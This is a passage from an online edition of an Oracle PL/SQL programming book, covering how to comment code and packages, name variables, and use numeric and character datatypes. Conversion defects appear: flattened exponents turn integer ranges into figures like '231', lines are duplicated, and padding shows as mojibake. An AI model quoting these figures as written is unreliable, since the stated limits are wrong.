   MESSAGE ('Total compensation exceeds maximum. Please re-enter!');

   -- Reset the counter to zero.
   :employee.comp_counter := 0;

   -- Raise the exception to stop trigger processing.
   RAISE FORM_TRIGGER_FAILURE;
END IF;

None of these comments add anything to the comprehension of the code. Each comment simply restates the line of code, which in most cases is self-explanatory.

Avoid adding comments simply so that you can say, "Yes, I documented my code!" Rely as much as possible on the structure and layout of the code itself to express the meaning of the program. Reserve your comments to explain the Why of your code: What business rule is it meant to implement? Why did you need to implement a certain requirement in a certain way?

In addition, use comments to translate internal, computer-language terminology into something meaningful for the application. Suppose you are using Oracle Forms GLOBAL variables to keep track of a list of names entered. Does the following comment explain the purpose of the code or simply restate what the code is doing?

/* Set the number of elements to zero. */
:GLOBAL.num_elements := 0;

Once again, the comment adds no value. Does the next comment offer additional information?

/* Empty the list of names. */
:GLOBAL.num_elements := 0;

This comment actually explains the purpose of the assignment of the global to zero. By setting the number of elements to zero, I will have effectively emptied the list. This comment has translated the "computer lingo" into a description of the effect of the statement. Of course, you would be even better off hiding the fact that you use this particular global variable to empty a list and instead build a procedure as follows:

PROCEDURE empty_list IS
BEGIN
   :GLOBAL.num_elements := 0;
END;

Then to empty a list you would not need any comment at all. You could simply include the statement:

empty_list;

and the meaning would be perfectly clear.

3.6.3 Make Comments Easy to Enter and Maintain

You shouldn't spend a lot of time formatting your comments. You need to develop a style that is clean and easy to read, but also easy to maintain. When you have to change a comment, you shouldn't have to reformat every line in the comment. Lots of fancy formatting is a good indication that you have a high-maintenance documentation style. The following block comment is a maintenance nightmare:

/*
===========================================================
| Parameter          Description                          |
|                                                         |
| company_id         The primary key to company           |
| start_date         Start date used for date range       |
| end_date           End date for date range              |
===========================================================
*/

The right-justified vertical lines and column formatting for the parameters require way too much effort to enter and maintain. What happens if you add a parameter with a very long name? What if you need to write a longer description? A simpler and more maintainable version of this comment might be:

/*
===========================================================
| Parameter - Description
|
| company_id - The primary key to company
| start_date - Start date used for date range
| end_date - End date for date range
===========================================================
*/

I like to use the following format for my block comments:

/*
|| I put the slash-asterisk that starts the comment on a line all by
|| itself. Then I start each line in the comment block with a double
|| vertical bar to highlight the presence of the comment. Finally,
|| I place the asterisk-slash on a line all by itself.
*/

On the negative side, the vertical bars have to be erased whenever I reformat the lines, but that isn't too much of an effort. On the positive side, those vertical bars make it very easy for a programmer who is scanning the left side of the code to pick out the comments.

I put the comment markers on their own lines to increase the whitespace in my program and set off the comment. That way I can avoid "heavy" horizontal lines full of delimiters, such as asterisks or dashes, and avoid having to match the longest line in the comment.

3.6.4 Maintain Indentation

Inline commentary should reinforce the indentation and therefore the logical structure of the program. For example, it is very easy to find the comments in the make_array procedures shown below. I do not use any double-hyphens, so the slash-asterisk sequences stand out nicely. In addition, all comments start in the first column, so I can easily scan down the left-hand side of the program and pick out the documentation:

PROCEDURE make_array (num_rows_in IN INTEGER)
/* Create an array of specified numbers of rows */
IS
/* Handles to Oracle Forms structures */
   col_id GROUPCOLUMN;
   rg_id RECORDGROUP;
BEGIN
/* Create new record group and column */
   rg_id := CREATE_GROUP ('array');
   col_id := ADD_GROUP_COLUMN ('col');
/*
|| Use a loop to create the specified number of rows and
|| set the value in each cell.
*/
   FOR row_index IN 1 .. num_rows_in
   LOOP
/* Create a row at the end of the group to accept data */
      ADD_GROUP_ROW (return_value, END_OF_GROUP);
      FOR col_index IN 1 .. num_columns_in
      LOOP
/* Set the initial value in the cell */
         SET_GROUP_NUMBER_CELL (col_id, row_index, 0);
      END LOOP;
   END LOOP;
END;

The problem with these comments is precisely that they do all start in the first column, regardless of the code they describe. The most glaring example of this formatting "disconnect" comes in the inner loop, repeated below:

      FOR col_index IN 1 .. num_columns_in
      LOOP
/* Set the initial value in the cell */
         SET_GROUP_NUMBER_CELL (col_id, row_index, 0);
      END LOOP;

Your eye follows the three-space indentation very smoothly into the loop and then you are forced to move all the way to the left to pick up the comment. This format disrupts your reading of the code and therefore its readability. The code loses some of its ability to communicate the logical flow "at a glance," because the physical sense of indentation as logical flow is marred by the comments. Finally, you may end up writing full-line comments which are much longer than the code they appear next to, further distorting the code.

Your comments should always be indented at the same level as the code which they describe. Assuming the comments come before the code itself, those lines of descriptive text will initiate the indentation at that logical level, which will also reinforce that structure. The make_array procedure, properly indented, is shown below:

PROCEDURE make_array (num_rows_in IN INTEGER)
/* Create an array of specified numbers of rows */
IS
   /* Handles to Oracle Forms structures */
   col_id GROUPCOLUMN;
   rg_id RECORDGROUP;
BEGIN
   /* Create new record group and column */
   rg_id := CREATE_GROUP ('array');
   col_id := ADD_GROUP_COLUMN ('col');
   /*
   || Use a loop to create the specified number of rows and
   || set the value in each cell.
   */
   FOR row_index IN 1 .. num_rows_in
   LOOP
      /* Create a row at the end of the group to accept data */
      ADD_GROUP_ROW (return_value, END_OF_GROUP);
      FOR col_index IN 1 .. num_columns_in
      LOOP
         /* Set the initial value in the cell */
         SET_GROUP_NUMBER_CELL (col_id, row_index, 0);
      END LOOP;
   END LOOP;
END;
      END LOOP;
   END LOOP;
END;

3.6.5 Comment Declaration Statements

I propose the following simple rule for documenting declaration statements:

Provide a comment for each and every declaration.

Does that sound excessive? Well, I must admit that I do not follow this guideline at all times, but I bet people who read my code wish I had. The declaration of a variable which seems to me to be perfectly clear may be a source of abiding confusion for others. Like many other people, I still have difficulty understanding that what is obvious to me is not necessarily obvious to someone else.

Consider the declaration section in the next example. The commenting style is inconsistent. I use double-hyphens for a two-line comment; then I use the standard block format to provide information about three variables all at once. I provide comments for some variables, but not for others. It's hard to make sense of the various declaration statements:

DECLARE
   -- Assume a maximum string length of 1000 for a line of text.
   text_line VARCHAR2 (1000);
   len_text    NUMBER;
   /*
   || Variables used to keep track of string scan:
   ||    atomic_count - running count of atomics scanned.
   ||    still_scanning - Boolean variable controls WHILE loop.
   */
   atomic_count NUMBER := 1;
   still_scanning BOOLEAN;
BEGIN

Let's recast this declaration section using my proposed guideline: a comment for each declaration statement. In the result shown below, the declaration section is now longer than the first version, but it uses whitespace more effectively. Each declaration has its own comment, set off by a blank line if a single-line comment:

DECLARE
   /* Assume a maximum string length of 1000 for a line of text. */
   text_line VARCHAR2 (1000);

   /* Calculate length of string at time of declaration */
   len_string NUMBER;

   /* Running count of number of atomics scanned */
   atomic_count NUMBER := 1;

   /* Boolean variable that controls WHILE loop */
   still_scanning BOOLEAN ;
BEGIN

Previous: 3.5 Formatting Packages | Oracle PL/SQL Programming, 2nd Edition | Next: 3.7 Documenting the Entire Package
3.5 Formatting Packages | Book Index | 3.7 Documenting the Entire Package
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.7 Documenting the Entire Package

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

3.7 Documenting the Entire Package

A package is often a complicated and long construct. It is composed of many different types of objects, any of which may be public (visible to programs and users outside of the package) or private (available only to other objects in the package). Package structure is described in more detail in Chapter 16, Packages.

You can use some very simple documentation guidelines to clarify the structure of the package.

As usual when discussing packages, one must consider the specification separately from the body. As a meta-module or grouping of modules, the specification should have a standard header. This header needn't be as complicated as that of a specific module, because you do not want to repeat in the package header any information which also belongs in specific modules. I suggest using the template header shown in the following example. In the "Major Modifications" section of the header, do not include every change made to every object in the package. Instead note significant changes to the package as a whole, such as an expansion of scope, a change in the way the package and global variables are managed, etc. Place this header after the package name and before the IS statement:

PACKAGE package_name
/*
|| Author:
||
|| Overview:
||
|| Major Modifications (when, who, what)
||
*/
IS
   ...
END package_name;

3.7.1 Document the Package Specification

The package specification is, in essence, a series of declaration statements. Some of those statements declare variables, while others declare modules. Follow the same recommendation in commenting a package as you do in commenting a module's declaration section: provide a comment for each declaration. In addition to the comments for a specific declaration, you may also find it useful to provide a banner before a group of related declarations to make that connection obvious to the reader.

Surround the banner with whitespace (blank lines for the start/end of a multiline comment block). While you can use many different formats for this banner, use the simplest possible design that gets the point across. Everything else is clutter.

The package specification below illustrates the header and declaration-level comment styles, as well as group banners:

PACKAGE rg_select
/*
|| Author: Steven Feuerstein, x3194
||
|| Overview: Manage a list of selected items correlated with a
||    block on the screen.
||
|| Major Modifications (when, who, what)
||    12/94 - SEF - Create package
||    3/95  - JRC - Enhance to support coordinated blocks
||
*/
IS
   /*----------------- Modules to Define the List -------------------*/

   /* Initialize the list/record group. */
   PROCEDURE init_list (item_name_in IN VARCHAR2);

   /* Delete the list */
   PROCEDURE delete_list;

   /*------------------ Modules to Manage Item Selections -----------*/

   /* Mark item as selected */
   PROCEDURE select_item (row_in IN INTEGER);

   /* De-select the item from the list */
   PROCEDURE deselect_item (row_in IN INTEGER);

END rg_select;

3.7.2 Document the Package Body

The body is even longer and more complex than the specification. The specification contains only declarations, and only the declarations of public or global objects. The body contains the declarations of all private variables, cursors, types, etc., as well as the implementation of all cursors and modules. My suggestion for commenting declarations in the package body is, again, to provide a single line (or more) for each declaration, separated by whitespace. This takes more space, but is very legible.

Once you get beyond the variables, use banners for any and all of the following:

  • The private modules of the package. These should come after the package variable declarations, but before the public module implementations. The banner alerts a reader to the fact that these modules were not in the specification.

  • The public modules of the package. The package specification describes only the interface to these modules. The body contains the full code for those modules. Use a banner to let the reader know that you are done with variables and private modules.

  • Groups of related modules, particularly those with the same, overloaded name. (Overloading occurs when you create multiple modules with the same name but different parameter lists.)

The banners for a package body are shown below:

PACKAGE BODY package_name
IS
   /*----------------------- Package Variables ----------------------*/
   ... declarations placed here

   /*----------------------- Private Modules ------------------------*/
   FUNCTION ...
   PROCEDURE ...

   /*----------------------- Public Modules -------------------------*/
   FUNCTION ...
   PROCEDURE ...

END package_name;

Whether in a package or an individual module, make sure that your comments add value to the code. Do not repeat what the code itself clearly states. When dealing with a structure as complicated as a package, however, you need comments which focus on communicating that structure. If your package has more than a handful of modules, and especially if it uses both private and public modules, you should make sure to use these banners to keep the reader fully informed about the context of the code they are reading in the package.

Previous: 3.6 Using Comments Effectively | Oracle PL/SQL Programming, 2nd Edition | Next: II. PL/SQL Language Elements
3.6 Using Comments Effectively | Book Index | II. PL/SQL Language Elements
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] Variables and Program Data

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: II. PL/SQL Language Elements Chapter 4 Next: 4.2 Scalar Datatypes

4. Variables and Program Data

Contents:
Identifiers
Scalar Datatypes
NULLs in PL/SQL
Variable Declarations
Anchored Declarations
Programmer-Defined Subtypes
Tips for Creating and Using Variables

Almost every PL/SQL program you write contains internal data stored as variables, constants, records, or tables. This chapter refers to these various types of storage as variables. Variables may be used for many purposes; for example, they may store information retrieved from columns in a table or may hold calculated values for use only in the program. Variables may be scalar (made up of a single value) or composite (made up of multiple values or components).

The attributes of a variable are its name, datatype, and value (or values, in a complex datatype like a record). The name indicates the part of memory you want to access or change. The datatype determines the type of information you can store in the variable. The value (or values, in the case of a composite datatype) is the set of bits stored in the variable's memory location.

This chapter describes the kinds of names you can give PL/SQL elements and the different types of scalar variables you can declare and use in your programs. It also offers tips on how best to use program data in your code.

4.1 Identifiers

Identifiers are the names given to PL/SQL elements such as variables or nested tables or cursors. Identifiers:

  • Can be up to 30 characters in length

  • Must start with a letter

  • Can then be composed of any of the following: letters, numerals, $, #, and _

A named constant is a special kind of variable. A named constant has a name, datatype, and value, just like a regular variable. However, unlike a regular variable, the value of a named constant must be set when the constant is declared and may not change thereafter. Its value is constant. Unless otherwise mentioned, the information provided below for variables also applies to named constants.

NOTE: An unnamed constant is a literal value, such as 2 or Bobby McGee. A literal does not have a name, though it does have an implied (undeclared) datatype.

4.1.1 Choose the Right Name

The name of your identifier should describe as accurately and concisely as possible what the identifier represents. Let's take a look at choosing the name for a variable. Outside of the actual use or context of a variable, the name is all the variable's got. And if the name is bad, the context is often distorted by the bad choice of a moniker.

The first step towards choosing an accurate name is to have a clear idea of how the variable is to be used. You might even take a moment to write down -- in noncomputer terms -- what the variable represents. You can then easily extract an appropriate name from this statement. For example, if a variable represents the "total number of calls made about lukewarm coffee," a good name for that variable would be total_calls_on_cold_coffee -- or tot_cold_calls, if you are allergic to five-word variable names. A bad name for that variable would be "totcoffee" or t_#_calls_lwcoff, both of which are too cryptic to get the point across.

You can also give each variable a name that describes the business problem that variable will be used to solve. The name should be much more than a description of the internal or computer-oriented function of the variable. If you need a Boolean variable to indicate when "the total order amount exceeds existing balance," a good name would be total_order_exceeds_balance. A poorly chosen name would be float_overflow or group_sum_too_big. You, the developer, know that you had to perform a SUM with a GROUP BY to calculate the total order, but no one else needs to know about that.

4.1.2 Select Readable Names

PL/SQL lets you use 30 characters, including very clear separators such as the underscore character ( _ ), to name your variables. That gives you lots of room to come up with unambiguous names. In fact, if you have variable names of fewer than five characters in length, they are probably too short to be accurate and useful.

Resist the temptation to name a variable which stores the current date as curdat or now. Instead use the more descriptive current_date or even system_date (a logical expansion on the SQL function SYSDATE, which usually provides the value).

An excellent way to check the quality of your variable names (as well as the names of your other objects, particularly module names) is to ask for feedback from another developer on the same project. The code should, to a large extent, make sense if the variables and other identifiers are named in ways that describe the action, and not the cute programming tricks you used to meet the specifications.

Previous: II. PL/SQL Language Elements | Oracle PL/SQL Programming, 2nd Edition | Next: 4.2 Scalar Datatypes
II. PL/SQL Language Elements | Book Index | 4.2 Scalar Datatypes
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.2 Scalar Datatypes

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

4.2 Scalar Datatypes

Each constant and variable element you use in your programs has a datatype. The datatype dictates the storage format, the restrictions on how the variable can be used, and the valid values which may be placed in that variable.

PL/SQL offers a comprehensive set of predefined scalar and composite datatypes. A scalar datatype is an atomic; it is not made up of other variable components. A composite datatype has internal structure or components. The two composite types currently supported by PL/SQL are the record and table (described in Chapter 9, Records in PL/SQL, and Chapter 10, PL/SQL Tables, respectively).

The scalar datatypes fall into one of four categories or families: number, character, Boolean, and date-time, as shown in Table 4.1.

Table 4.1: Datatype Categories
Category | Datatype
Number | BINARY_INTEGER
 | DEC
 | DECIMAL
 | DOUBLE PRECISION
 | FLOAT
 | INT
 | INTEGER
 | NATURAL
 | NUMBER
 | NUMERIC
 | PLS_INTEGER
 | POSITIVE
 | REAL
 | SMALLINT
Character | CHAR
 | CHARACTER
 | LONG
 | LONG RAW
 | NCHAR
 | NVARCHAR2
 | RAW
 | ROWID
 | STRING
 | VARCHAR
 | VARCHAR2
Boolean | BOOLEAN
Date-time | DATE
Large object (LOB) | BFILE
 | BLOB
 | CLOB
 | NCLOB

Let's take a closer look at each of the scalar datatypes.

4.2.1 Numeric Datatypes

PL/SQL, just like the Oracle RDBMS, offers a variety of numeric datatypes to suit different purposes. There are generally two types of numeric data: whole number and decimal (in which digits to the right of the decimal point are allowed).

4.2.1.1 Binary integer datatypes

The whole number, or integer, datatypes are:

BINARY_INTEGER
INTEGER
SMALLINT
INT
POSITIVE
NATURAL

The BINARY_INTEGER datatype allows you to store signed integers. The range of magnitude of a BINARY_INTEGER is -231 + 1 through 231 - 1 (231 is equal to 2147483647). BINARY_INTEGERs are represented in the PL/SQL compiler as signed binary numbers. They do not, as a result, need to be converted before PL/SQL performs numeric calculations. Variables of type NUMBER (see Section 4.2.1.2, "Decimal numeric datatypes"") do, however, need to be converted. So if you will be performing intensive calculations with integer values, you might see a performance improvement by declaring your variables as BINARY_INTEGER. In most situations, to be honest, the slight savings offered by BINARY_INTEGER will not be noticeable.

NATURAL and POSITIVE are both subtypes of BINARY_INTEGER. A subtype uses the storage format and restrictions on how the variable of this type can be used, but it allows only a subset of the valid values allowed by the full datatype. In the case of BINARY_INTEGER subtypes, we have the following value subsets:

NATURAL

0 through 231

POSITIVE

1 through 231

If you have a variable whose values must always be non-negative (0 or greater), you should declare that variable to be NATURAL or POSITIVE. This improves the self-documenting aspect of your code.

4.2.1.2 Decimal numeric datatypes

The decimal numeric datatypes are:

NUMBER
FLOAT
DEC
DECIMAL
DOUBLE PRECISION
NUMBER
NUMERIC
REAL

Use the NUMBER datatype to store fixed or floating-point numbers of just about any size. The maximum precision of a variable with NUMBER type is 38 digits. This means that the range of magnitude of values is 1.0E-129 through 9.999E125; you are unlikely to require numbers outside of this range.

When you declare a variable type NUMBER, you can also optionally specify the variable's precision and scale, as follows:

NUMBER (precision, scale)

The precision of a NUMBER is the total number of digits. The scale dictates the number of digits to the right or left of the decimal point at which rounding occurs. Both the precision and scale values must be literal values (and integers at that); you cannot use variables or constants in the declaration. Legal values for the scale range from -84 to 127. Rounding works as follows:

  • If the scale is positive, then the scale determines the point at which rounding occurs to the right of the decimal point.

  • If the scale is negative, then the scale determines the point at which rounding occurs to the left of the decimal point.

  • If the scale is zero, then rounding occurs to the nearest whole number.

  • If the scale is not specified, then no rounding occurs.

The following examples demonstrate the different ways you can declare variables of type NUMBER:

  • The bean_counter variable can hold values with up to ten digits of precision, three of which are to the right of the decimal point. If you assign 12345.6784 to bean_counter, it is rounded to 12345.678. If you assign 1234567891.23 to the variable, the operation will return an error because there are more digits than allowed for in the precision.

    bean_counter NUMBER (10,3);

  • The big_whole_number variable contains whole numbers spanning the full range of supported values, because the default precision is 38 and the default scale is 0.

    big_whole_number NUMBER;

  • The rounded_million variable is declared with a negative scale. This causes rounding to the left of the decimal point. Just as a scale of -1 would cause rounding to the nearest tenth, a scale of -2 would round to the nearest hundred and a scale of -6 would round to the nearest million. If you assign 53.35 to rounded_million, it will be rounded to 0. If you assign 1,567,899 to rounded_million, it will be rounded to two million (2,000,000).

    rounded_million NUMBER (10,-6);

  • In the following unusual but perfectly legitimate declaration, the scale is larger than the precision. In this case, the precision indicates the maximum number of digits allowed -- all to the right of the decimal point. If you assign .003566 to small_value, it will be rounded to .00357. Because the scale is two greater than the precision, any value assigned to small_value must have two zeros directly to the right of the decimal point, followed by up to three nonzero digits.

    small_value NUMBER (3, 5);

4.2.1.3 The PLS_INTEGER datatype

This datatype is available in PL/SQL Release 2.3 and above.

Variables declared as PLS_INTEGER store signed integers. The magnitude range for this datatype is -2147483647 through 2147483647. Oracle recommends that you use PLS_INTEGER for all integer calculations which do not fall outside of its range. PLS_INTEGER values require less storage than NUMBER values, and operations on PLS_INTEGER's use machine arithmetic, making them more efficient.

Variables declared as pls_integer and binary_integer have the same range, but they are treated differently. When a calculation involving pls_integer overflows, pl/sql raises an exception. However, similar overflow involving binary_integers will not raise an exception if the result is being assigned to a number variable.

4.2.2 Numeric Subtypes

The remainder of the datatypes in the numeric category are all subtypes of NUMBER. They are provided in ORACLE's SQL and in PL/SQL in order to offer compatibility with ANSI SQL, SQL/DS, and DB2 datatypes. They have the same range of legal values as their base type, as displayed in Table 4.2. The NUMERIC, DECIMAL, and DEC datatypes can declare only fixed-point numbers. FLOAT, DOUBLE PRECISION, and REAL allow floating decimal points with binary precisions that range from 63 to 126.

Table 4.2: Predefined Numeric Subtypes
Subtype | Compatibility | Corresponding Oracle Datatype
DEC (prec, scale) | ANSI | NUMBER (prec, scale)
DECIMAL (prec, scale) | IBM | NUMBER (prec, scale)
DOUBLE PRECISION | ANSI | NUMBER
FLOAT (binary) | ANSI, IBM | NUMBER
INT | ANSI | NUMBER (38)
INTEGER | ANSI, IBM | NUMBER (38)
NUMERIC (prec, scale) | ANSI | NUMBER (prec, scale)
REAL | ANSI | NUMBER
SMALLINT | ANSI, IBM | NUMBER (38)

Prec, scale, and binary have the following meanings:

prec

Precision for the subtype

scale

Scale of the subtype

binary

Binary precision of the subtype

4.2.3 Character Datatypes

Variables with character datatypes store text and are manipulated by character functions. Because character strings are "free-form," there are few rules concerning their content. You can, for example, store numbers and letters, as well as any combination of special characters, in a character-type variable. There are, however, several different kinds of character datatypes, each of which serves a particular purpose.

4.2.3.1 The CHAR datatype

The CHAR datatype specifies that the character string has a fixed length. When you declare a fixed-length string, you also specify a maximum length for the string, which can range from 1 to 32767 bytes (this is much higher than that for the CHAR datatype in the Oracle RDBMS, which is only 255). If you do not specify a length for the string, then PL/SQL declares a string of one byte. Note that this is the opposite of the situation with the NUMBER datatype. For example, a declaration of:

fit_almost_anything NUMBER;

results in a numeric variable with up to 38 digits of precision. You could easily get into a bad habit of declaring all your whole number variables simply as NUMBER, even if the range of legal values is much smaller than the default. However, if you try a similar tactic with CHAR, you may be in for a nasty surprise. If you declare a variable as follows:

line_of_text CHAR;

then as soon as you assign a string of more than one character to line_of_text, PL/SQL will raise the generic VALUE_ERROR exception. It will not tell you where it encountered this problem. So if you do get this error, check your variable declarations for a lazy use of CHAR.

Just to be sure, you should always specify a length when you use the CHAR datatype. Several examples follow:

yes_or_no CHAR (1) DEFAULT 'Y';
line_of_text    CHAR (80); --Always a full 80 characters!
whole_paragraph CHAR (10000); --Think of all the spaces...

Remember that even though you can declare a CHAR variable with 10,000 characters, you will not be able to stuff that PL/SQL variable's value into a database column of type CHAR. It will take up to 255 characters. So if you want to insert a CHAR value into the database and its declared length is greater than 255, you will have to use the SUBSTR function (described in Chapter 11, Character Functions) to trim the value down to size:

INSERT INTO customer_note
   (customer_id, full_text /* Declared as CHAR(255) */)
VALUES
   (1000, SUBSTR (whole_paragraph, 1, 255));

Because CHAR is fixed-length, PL/SQL will right-pad any value assigned to a CHAR variable with spaces to the maximum length specified in the declaration. Prior to Oracle7, the CHAR datatype was variable-length; Oracle did not, in fact, support a fixed-length character string datatype and prided itself on that fact. To improve compatibility with IBM relational databases and to comply with ANSI standards, Oracle7 reintroduced CHAR as a fixed-length datatype and offered VARCHAR2 as the variable-length datatype. When a Version 6 RDBMS is upgraded to Oracle7, all CHAR columns are automatically converted to VARCHAR2. (VARCHAR2 is discussed in the next section.)

You will rarely need or want to use the CHAR datatype in Oracle-based applications. In fact, I recommend that you never use CHAR unless there is a specific requirement for fixed-length strings or unless you are working with data sources like DB2. Character data in DB2 is almost always stored in fixed-length format due to performance problems associated with variable-length storage. So, if you build applications that are based on DB2, you may have to take fixed-length data into account in your SQL statements and in your procedural code. You may, for example, need to use RTRIM to remove trailing spaces from (or RPAD to pad spaces onto) many of your variables in order to allow string comparisons to function properly. (These character functions are described in Chapter 11.)

4.2.3.2 The VARCHAR2 and VARCHAR datatypes

VARCHAR2 variables store variable-length character strings. When you declare a variable-length string, you must also specify a maximum length for the string, which can range from 1 to 32767 bytes. The general format for a VARCHAR2 declaration is:

<variable_name> VARCHAR2 (<max_length>);

as in:

DECLARE
   small_string VARCHAR2(4);
   line_of_text VARCHAR2(2000);

NOTE: In Version 1.1 of PL/SQL, which you use in Oracle Developer/2000 tools like Oracle Forms, the compiler does not insist that you include a maximum length for a VARCHAR2 declaration. As a result, you could mistakenly leave off the length in the declaration and end up with a variable with a maximum length of a single character. As discussed in the section on the fixed-length CHAR datatype, this can cause PL/SQL to raise runtime VALUE_ERROR exceptions. Always include a maximum length in your character variable declarations.

The maximum length allowed for PL/SQL VARCHAR2 variables is a much higher maximum than that for the VARCHAR2 datatype in the Oracle RDBMS, which is only 2000. As a result, if you plan to store a PL/SQL VARCHAR2 value into a VARCHAR2 database column, you must remember that only the first 2000 can be inserted. Neither PL/SQL nor SQL automatically resolves this inconsistency, though. You will need to make sure you don't try to pass more than the maximum 2000 (actually, the maximum length specified for the column) through the use of the SUBSTR function.

Because the length of a LONG column is two gigabytes, on the other hand, you can insert PL/SQL VARCHAR2 values into a LONG column without any worry of overflow. (LONG is discussed in the next section.)

The VARCHAR datatype is actually a subtype of VARCHAR2, with the same range of values found in VARCHAR2. VARCHAR, in other words, is currently synonymous with VARCHAR2. Use of VARCHAR offers compatibility with ANSI and IBM relational databases. There is a strong possibility, however, that VARCHAR's meaning might change in a new version of the ANSI SQL standards. Oracle recommends that you avoid using VARCHAR if at all possible, and instead stick with VARCHAR2 to declare variable-length PL/SQL variables (and table columns as well).

If you make use of both fixed-length (CHAR) and variable-length (VARCHAR2) strings in your PL/SQL code, you should be aware of the following interactions between these two datatypes:

  • Database-to-variable conversion. When you SELECT or FETCH data from a CHAR database column into a VARCHAR2 variable, the trailing spaces are retained. If you SELECT or FETCH from a VARCHAR2 database column into a CHAR variable, PL/SQL automatically pads the value with spaces out to the maximum length. In other words, the type of the variable, not the column, determines the variable's resulting value.

  • Variable-to-database conversion. When you INSERT or UPDATE a CHAR variable into a VARCHAR2 database column, the SQL kernel does not trim the trailing blanks before performing the change. When the following PL/SQL is executed, the company_name in the new database record is set to `ACME SHOWERS贩贩贩贩' (where � indicates a space). It is, in other words, padded out to 20 characters, even though the default value was a string of only 12 characters:

    DECLARE
   comp_id#    NUMBER;
   comp_name   CHAR(20) := 'ACME SHOWERS';
BEGIN
   SELECT company_id_seq.NEXTVAL
      INTO comp_id#
      FROM dual;
   INSERT INTO company (company_id, company_name)
      VALUES (comp_id#, comp_name);
END;

    On the other hand, when you INSERT or UPDATE a VARCHAR2 variable into a CHAR database column, the SQL kernel automatically pads the variable-length string with spaces out to the maximum (fixed) length specified when the table was created, and places that expanded value into the database.

  • String comparisons. Suppose your code contains a string comparison such as the following:

    IF company_name = parent_company_name ...

    PL/SQL must compare company_name to parent_company_name. It performs the comparison in one of two ways, depending on the types of the two variables:

    • If a comparison is made between two CHAR variables, then PL/SQL uses a blank-padding comparison. With this approach, PL/SQL blank-pads the shorter of the two values out to the length of the longer value. It then performs the comparison. So with the above example, if company_name is declared CHAR(30) and parent_company_name is declared CHAR(35), then PL/SQL adds five spaces to the end of the value in company_name and then performs the comparison. Note that PL/SQL does not actually change the variable's value. It copies the value to another memory structure and then modifies this temporary data for the comparison.

    • If at least one of the strings involved in the comparison is variable-length, then PL/SQL performs a nonblank-padding comparison. It makes no changes to any of the values, uses the existing lengths, and performs the comparison. This comparison analysis is true of evaluations which involve more than two variables as well, as may occur with the IN operator:

      IF menu_selection NOT IN
      (save_and_close, cancel_and_exit, 'OPEN_SCREEN')
   THEN ...

    If any of the four variables (menu_selection, the two named constants, and the single literal) is declared VARCHAR2, then exact comparisons without modification are performed to determine if the user has made a valid selection. Note that a literal like OPEN_SCREEN is always considered a fixed-length CHAR datatype.

These rules can make your life very complicated. Logic which looks perfectly correct may not operate as expected if you have a blend of fixed-length and variable-length data. Consider the following fragment:

DECLARE
   company_name CHAR (30) DEFAULT 'PC HEAVEN';
   parent_company_name  VARCHAR2 (25) DEFAULT 'PC HEAVEN';
BEGIN
   IF company_name = parent_company_name
   THEN
      -- This code will never be executed.
   END IF;
END;

The conditional test will never return TRUE because the value company_name has been padded to the length of 30 with 21 spaces. To get around problems like this, you should always RTRIM your CHAR values when they are involved in any kind of comparison or database modification.

It makes more sense to use RTRIM (to remove trailing spaces) than it does to use RPAD (to pad variable-length strings with spaces). With RPAD you have to know what length you wish to pad the variable-length string to get it in order to match the fixed-length string. With RTRIM you just get rid of all the blanks and let PL/SQL perform its nonblank-padding comparison.

It was easy to spot the problem in this anonymous PL/SQL block because all the related statements are close together. In the real world, unfortunately, the variables' values are usually set in a much less obvious manner and are usually in a different part of the code from the conditional statement which fails. So if you have to use fixed-length variables, be on the lookout for logic which naively believes that trailing spaces are not an issue.

4.2.3.3 The LONG datatype

A variable declared LONG can store variable-length strings of up to 32760 bytes -- this is actually seven fewer bytes than allowed in VARCHAR2 type variables! The LONG datatype for PL/SQL variables is quite different from the LONG datatype for columns in the Oracle Server. The LONG datatype in Oracle7 can store character strings of up to two gigabytes or 231-1 bytes; this large size makes the LONG column a possible repository of multimedia information, such as graphics images.

As a result of these maximum length differences, you can always insert a PL/SQL LONG variable value into a LONG database column, but you cannot select a LONG database value larger than 32760 bytes into a PL/SQL LONG variable.

In the Oracle database, there are many restrictions on how the LONG column can be used in a SQL statement; for example:

  • A table may not contain more than one single LONG column.

  • You may not use the LONG column in a GROUP BY, ORDER BY, WHERE, or CONNECT BY clause.

  • You may not apply character functions (such as SUBSTR, INSTR, or LENGTH), to the LONG column.

PL/SQL LONG variables are free of these restrictions. In your PL/SQL code you can use a variable declared LONG just as you would a variable declared VARCHAR2. You can apply character functions to the variable. You can use it in the WHERE clause of a SELECT or UPDATE statement. This all makes sense given that, at least from the standpoint of the maximum size of the variables, there is really little difference between VARCHAR2 and LONG in PL/SQL.

Given the fact that a VARCHAR2 variable actually has a higher maximum length than the LONG and has no restrictions attached to it, I recommend that you always use the VARCHAR2 datatype in PL/SQL programs. LONGs have a place in the RDBMS, but that role is not duplicated in PL/SQL. This makes some sense since you will very rarely want to manipulate truly enormous strings within your program using such functions as SUBSTR or LENGTH or INSTR.

4.2.3.4 The RAW datatype

The RAW datatype is used to store binary data or other kinds of raw data, such as a digitized picture or image. A RAW variable has the same maximum length as VARCHAR2 (32767 bytes), which must also be specified when the variable is declared. The difference between RAW and VARCHAR2 is that PL/SQL will not try to interpret raw data. Within the Oracle RDBMS this means that Oracle will not perform character set conversions on RAW data when it is moved from one system (based, for example, on 7-bit ASCII) to another system.

